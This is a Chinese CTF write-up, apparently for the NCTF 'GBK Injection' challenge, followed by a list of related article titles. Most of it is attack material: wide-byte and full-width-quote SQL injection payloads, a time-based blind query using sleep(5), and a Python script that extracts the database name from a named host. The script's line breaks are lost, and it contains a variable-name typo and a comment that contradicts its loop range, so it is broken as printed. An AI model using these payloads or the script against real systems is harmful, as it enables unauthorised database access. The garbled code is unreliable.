0x00题目:

your sql:select id,title from news where id = '1'
here is the information

0x01以前的题解是使用%df加上单引号,通过宽字节注入。另外#被转移,故使用%23代替#绕过。

但是今天我做的时候,发现另一个payload也可以:

payload:  1’',此处第一个单引号是中文的  ‘,第二个单引号是英文的 '   页面返回如下:

可以看到单引号没有被转义,因此可以通过中文单引号构造payload

我比较喜欢使用延时注入,无论有无回显都能用,缺点是耗时长。

查数据库长度:

index.php?id=1‘'||if((length(database()))=1,sleep(5),2);%23

爆出来数据库长度14.

然后爆数据库名:

‘sae-chinalover’

0x02

此处给出爆数据库名的python3脚本:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import requests
import time#get型时间盲注
def http_blindTime_get(url,payload):#记录发包时间starttime = time.time()result = requests.get(url+payload)#记录收包时间endtime = time.time()if(endtime-starttime<3):return Falseelse:return True
#get方式获取数据库名,攻击载荷需修改函数变量构造
def getDatabaseName(url):#先获取数据库长度,推测不会长于16个字符,故range 0,10#逻辑为当数据库长度正确时使数据库休眠5秒,故当收发包时间差大于3s时breakbatabaselength = 0for i in range(0, 15):payload = "index.php?id=1‘%27||if((length(database()))="+str(i)+",sleep(5),2);%23"if http_blindTime_get(url,payload):databaselength = ibreakprint('数据库名长度:',str(databaselength))if databaselength==0:return Falseelse:#获取的数据库长度不为0,表明成功获取数据库长度,爆数据库名databasename=""for i in range(1,databaselength+1):for j in range(1, 128):payload = "index.php?id=%df' or if((ascii(substr((select database()),"+str(i)+",1))="+str(j)+"),sleep(5),0);%23"if(http_blindTime_get(url, payload)):databasename += chr(j)breakprint('数据库名:', str(databasename))return databasenamedef main():url="http://chinalover.sinaapp.com/SQL-GBK/"getDatabaseName(url)
if __name__ == '__main__':main()

其余表名、字段名及flag同上可爆出来。

效果如图:

当然,本题还有其他办法。直接使用union select即可

NCTF之GBK Injection另一种宽字节注入解法相关推荐

  1. SQL注入-盲注-时间注入-报错注入-布尔盲注-DNSlog注入-宽字节注入-WAF绕过-SqlMap使用

    Sqli-labs的安装 1.安装WAMP http://www.wampserver.com/ WAMP是php + mysql + Apache环境集成工具 2.下载Sqli-labs https ...

  2. php 宽字节注入 转成utf8,Hr-Papers|宽字节注入深度讲解

    /*Team:红日安全团队团队成员:CPRTitle:宽字节注入*/ 原理介绍 基本概概念宽字节是相对于ascII这样单字节而言的:像GB2312.GBK.GB18030.BIG5.Shift_JIS ...

  3. 11、注入篇--宽字节注入

    注入基础 GBK 编码 两个字节表示一个字符 ASCII 编码 一个字节表示一个字符 MYSQL默认字节集是GBK等宽字节字符集 addslashes()函数 addslashes ( string ...

  4. 南邮nctf-sql injection 3(宽字节注入) 手注+sqlmap

    题目地址:http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1 进入题目后先简单尝试一下. 很明显的宽字节注入. 宽字节注入就是用一个大于128的十 ...

  5. DVWA——改GBK尝试宽字节注入(brute教程)

    DVWA教程--爆破brute force 1.low等级 ps:加入echo $query 方便测试 输入admin/admin,查看$query结果 SELECT * FROM `users` W ...

  6. 【sqli-labs】 对于less34 less36的宽字节注入的一点深入

    1.AddSlashes() 首先来观察一下是如何通过构造吃掉转义字符的 先将less 34的网页编码换成gbk 加上一些输出 echo "Before addslashes(): &quo ...

  7. MySQL宽字节注入漏洞分析_宽字节注入

    概念 单字节字符集: 所有的字符都使用一个字节来表示,比如 ASCII 编码. 多字节字符集: 在多字节字符集中,一部分字节用多个字节来表示,另一部分(可能没有)用单个字节来表示. 两位的多字节字符有 ...

  8. mysql宽字节注入_转宽字节注入详解

    在mysql中,用于转义的函数有addslashes,mysql_real_escape_string,mysql_escape_string等, 还有一种情况是magic_quote_gpc,不过高 ...

  9. 深入探究宽字节注入漏洞与修补原理

    通俗 在GBK编码时,mysql会认为两个字符是一个汉字(在前一个字节的ascii码大于128的情况下).而经过转义之后的单引号'会变为\',即%5c%27.构造id=1%df%27%23 ,在经过转 ...

最新文章

  1. mxnet:mx.sym.BlockGrad理解
  2. 阿里云 nginx php mysql_阿里云 Ubuntu + Nginx + PHP + MySQL
  3. CG CTF WEB SQL Injection
  4. API接口设计 注意问题
  5. php记录代码执行时间
  6. set column oracle,Oracle 用一个表字段更新另一个表字段三种方法
  7. wireshark使用_使用 Wireshark 抓取数据包
  8. 零窗口探测怎么抓包_天问·探路火星|五大亮点!最快“胖五”把探测器送入苍穹...
  9. 20190926-win10电脑声音麦克风设置里没有增强属性怎么办听语音
  10. python获取当前工作路径、保存路径
  11. STC - 非标连接的7段数码管赋值
  12. 把数字翻译成字符串——python
  13. 关于vue移动端下载图片
  14. 考试一定要加文操..
  15. 机器学习是门手艺,正如编程一样,马上会成为IT人员的必备技能!
  16. 2019西安交通大学计算机夏令营
  17. ingest-attachment理解误区
  18. 做最好的创新(李开复)
  19. JS toFixed(2) 返回 -0.00
  20. 在wps中实现二级联动

热门文章

  1. java swagger ui 教程_swagger 以及swaggerUI使用的步骤
  2. 5.HTTPS双向认证指南
  3. php直接json_encnode对象,将PHP对象序列化为JSON
  4. PHP 2021面试题,一般所遇到的问题与答案,多达51题(持续更新)
  5. vim插件ivim-安装教程
  6. python实现简单区块链结构
  7. 以太坊基本数据结构分析
  8. c语言库里的排序函数,C语言标准库函数qsort详解
  9. HC32L110(四) HC32L110的startup启动文件和ld连接脚本
  10. My first QT window in cygwin